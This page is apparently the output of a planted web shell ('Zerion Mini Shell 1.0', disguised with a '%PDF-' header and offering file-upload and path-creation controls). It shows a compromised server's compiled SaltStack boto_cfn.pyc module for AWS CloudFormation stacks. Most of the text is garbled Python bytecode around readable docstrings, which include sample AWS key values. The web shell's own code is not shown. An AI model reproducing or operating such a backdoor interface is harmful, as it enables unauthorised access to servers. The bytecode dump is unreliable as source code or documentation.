%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/states/boto_cfn.pyc

�
���^c@@s-dZddlmZmZmZddlZddlZddlZddl	m
Z
yddlmZ
eZWnek
r�eZnXeje�ZdZd�Zddddddddddddddddddd�Zddddd	�Zd
�Zddddddd�Zd�ZdS(
uh
Connection module for Amazon Cloud Formation

.. versionadded:: 2015.8.0

:depends: boto
:configuration: This module accepts explicit AWS credentials but can also utilize
    IAM roles assigned to the instance through Instance Profiles. Dynamic
    credentials are then automatically obtained from AWS API and no further
    configuration is necessary. More Information available at
    http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html

    If IAM roles are not used you need to specify them either in a pillar or
    in the minion's config file:

    .. code-block:: yaml

        keyid: GKTADJGHEIQSXMKKRBJ08H
        key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs

    .. code-block:: yaml

        stack-present:
          boto_cfn.present:
            - name: mystack
            - template_body: salt://base/mytemplate.json
            - disable_rollback: true
            - region: eu-west-1
            - keyid: 'AKIAJHTMIQ2ASDFLASDF'
            - key: 'fdkjsafkljsASSADFalkfjasdf'

    .. code-block:: yaml

        stack-absent:
          boto_cfn.absent:
            - name: mystack
i(tabsolute_importtprint_functiontunicode_literalsN(tsix(tElementTreeuboto_cfncC@s@tstdjt�fSdtkr)tStdjt�fSdS(uF
    Only load if elementtree xml library and boto are available.
    u6Cannot load {0} state: ElementTree library unavailableuboto_cfn.existsu2Cannot load {0} state: boto_cfn module unavailableN(tHAS_ELEMENT_TREEtFalsetformatt__virtualname__t__salt__tTrue(((s8/usr/lib/python2.7/site-packages/salt/states/boto_cfn.pyt__virtual__>s
cC@sZi|d6td6dd6id6}t||�}t|
|�}
t|
|�}
x*||
|
gD]}t|t�r_|Sq_Wt||||||�}tjd|�|tk	r�|\}}t|d<dj||�|d<|Stjd|�t	d	|||||�r�t	d
|||||�}|ddd
j
dd�}tjj
j|�}tjj
j|�}tjjj||�}|dkr�tjd|�tdr�dj|�|d<d|d<|St	d|||||||||||
||
|||||�}t|tj�rst|�\}}tjd||�t|d<dj|||�|d<|Sdj|�|d<||dd<|Sdj|�|d<i|d<|Stdr�dj|�|d<d|d<|St	d||||||||||	|
|||||�}|rLdj|�|d<||dd<|St|d<|S(u

    Ensure cloud formation stack is present.

    name (string) - Name of the stack.

    template_body (string) – Structure containing the template body. Can also be loaded from a file by using salt://.

    template_url (string) – Location of file containing the template body. The URL must point to a template located in
    an S3 bucket in the same region as the stack.

    parameters (list) – A list of key/value tuples that specify input parameters for the stack. A 3-tuple (key, value,
    bool) may be used to specify the UsePreviousValue option.

    notification_arns (list) – The Simple Notification Service (SNS) topic ARNs to publish stack related events.
    You can find your SNS topic ARNs using the `SNS_console`_ or your Command Line Interface (CLI).

    disable_rollback (bool) – Indicates whether or not to rollback on failure.

    timeout_in_minutes (integer) – The amount of time that can pass before the stack status becomes CREATE_FAILED; if
    DisableRollback is not set or is set to False, the stack will be rolled back.

    capabilities (list) – The list of capabilities you want to allow in the stack. Currently, the only valid capability
    is ‘CAPABILITY_IAM’.

    tags (dict) – A set of user-defined Tags to associate with this stack, represented by key/value pairs. Tags defined
    for the stack are propagated to EC2 resources that are created as part of the stack. A maximum number of 10 tags can
    be specified.

    on_failure (string) – Determines what action will be taken if stack creation fails. This must be one of:
    DO_NOTHING, ROLLBACK, or DELETE. You can specify either OnFailure or DisableRollback, but not both.

    stack_policy_body (string) – Structure containing the stack policy body. Can also be loaded from a file by using
    salt://.

    stack_policy_url (string) – Location of a file containing the stack policy. The URL must point to a policy
    (max size: 16KB) located in an S3 bucket in the same region as the stack.If you pass StackPolicyBody and
    StackPolicyURL, only StackPolicyBody is used.

    use_previous_template (boolean) – Used only when templates are not the same. Set to True to use the previous
    template instead of uploading a new one via TemplateBody or TemplateURL.

    stack_policy_during_update_body (string) – Used only when templates are not the same. Structure containing the
    temporary overriding stack policy body. If you pass StackPolicyDuringUpdateBody and StackPolicyDuringUpdateURL,
    only StackPolicyDuringUpdateBody is used. Can also be loaded from a file by using salt://.

    stack_policy_during_update_url (string) – Used only when templates are not the same. Location of a file containing
    the temporary overriding stack policy. The URL must point to a policy (max size: 16KB) located in an S3 bucket in
    the same region as the stack. If you pass StackPolicyDuringUpdateBody and StackPolicyDuringUpdateURL, only
    StackPolicyDuringUpdateBody is used.

    region (string) - Region to connect to.

    key (string) - Secret key to be used.

    keyid (string) - Access key to be used.

    profile (dict) - A dict with region, key and keyid, or a pillar key (string) that contains a dict with region, key
    and keyid.

    .. _`SNS_console`: https://console.aws.amazon.com/sns

    unameuresultuucommentuchangesuValidate is : %s.u)Template could not be validated.
{0} 
{1}uTemplate %s is valid.uboto_cfn.existsuboto_cfn.get_templateuGetTemplateResponseuGetTemplateResultuTemplateBodyuasciiuignoreiu/Templates are not the same. Compare value is %sutestuStack {0} is set to be updated.uboto_cfn.update_stacku$Update error is %s and message is %su)Stack {0} could not be updated.
{1} 
{2}.u.Cloud formation template {0} has been updated.unewuStack {0} exists.uStack {0} is set to be created.uboto_cfn.createuStack {0} was created.N(R
t
_get_templatet
isinstancetdictt	_validatetlogtdebugRRR	tencodetsalttutilstjsontloadstcompattcmpt__opts__tNoneRtstring_typest
_get_error(tnamet
template_bodyttemplate_urlt
parameterstnotification_arnstdisable_rollbackttimeout_in_minutestcapabilitiesttagst
on_failuretstack_policy_bodytstack_policy_urltuse_previous_templatetstack_policy_during_update_bodytstack_policy_during_update_urltregiontkeytkeyidtprofiletrettit_validtcodetmessagettemplatet_template_bodytcomparetupdatedtcreated((s8/usr/lib/python2.7/site-packages/salt/states/boto_cfn.pytpresentKsvB"


		




c	C@s*i|d6td6dd6id6}td|||||�s_dj|�|d<i|d<|Stdr�d	j|�|d<d|d<|Std
|||||�}t|tj�r�t|�\}}dj|||�|d<t	|d<i|d<|S|r&dj|�|d<||dd
<|SdS(uu
    Ensure cloud formation stack is absent.

    name (string) – The name of the stack to delete.

    region (string) - Region to connect to.

    key (string) - Secret key to be used.

    keyid (string) - Access key to be used.

    profile (dict) - A dict with region, key and keyid, or a pillar key (string) that contains a dict with region, key
    and keyid.
    unameuresultuucommentuchangesuboto_cfn.existsuStack {0} does not exist.utestuStack {0} is set to be deleted.uboto_cfn.deleteu'Stack {0} could not be deleted.
{1}
{2}uStack {0} was deleted.udeletedN(
R
R	RRRR
RRRR(	RR,R-R.R/R0tdeletedR3R4((s8/usr/lib/python2.7/site-packages/salt/states/boto_cfn.pytabsent�s("




cC@s�i|d6td6dd6id6}|dk	r�d|kr�ytd|�SWq�tk
r�}tj|�dj|�|d<t|d<|SXn|S(	Nunameuresultuucommentuchangesusalt://ucp.get_file_struFile {0} not found.(R
RR	tIOErrorRRRR(R5RR0te((s8/usr/lib/python2.7/site-packages/salt/states/boto_cfn.pyR�s"

c	C@sttd||||||�}tjd|�t|tj�rpt|�\}}tjd||�||fStS(Nuboto_cfn.validate_templateuValidate result is %s.u'Validate error is %s and message is %s.(R	RRR
RRRR
(	RRR,R-R.R/tvalidateR3R4((s8/usr/lib/python2.7/site-packages/salt/states/boto_cfn.pyRs
cC@sWdj|jd�d�}tj|�}|ddj}|ddj}||fS(Nu
iii(tjointsplittETt
fromstringttext(terrorR3R4((s8/usr/lib/python2.7/site-packages/salt/states/boto_cfn.pyRs
(t__doc__t
__future__RRRtloggingtsalt.utils.compatRtsalt.utils.jsontsalt.extRtsalt._compatRRBR
RtImportErrorRt	getLoggert__name__RRRRR:R<RRR(((s8/usr/lib/python2.7/site-packages/salt/states/boto_cfn.pyt<module>&s*


	
	�%	

Zerion Mini Shell 1.0